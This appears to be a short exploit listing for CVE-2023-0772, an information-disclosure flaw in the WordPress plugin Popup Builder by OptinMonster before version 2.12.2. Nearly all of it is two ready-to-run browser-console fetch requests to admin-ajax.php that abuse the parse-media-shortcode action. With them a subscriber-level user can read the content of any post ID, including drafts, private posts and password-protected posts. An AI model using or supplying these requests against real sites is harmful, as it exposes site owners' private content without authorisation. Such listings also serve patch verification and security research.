Exploit for Popup Builder by OptinMonster < 2.12.2 - Subscriber+ Arbitrary Post Content Disclosure CVE-2023-0772

## https://sploitus.com/exploit?id=WPEX-ID:28754886-B7B4-44F7-9042-B81C542D3C9C
Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[optin-monster id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[optin-monster-shortcode id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the post with ID 14 (such as a draft/private/password protected one)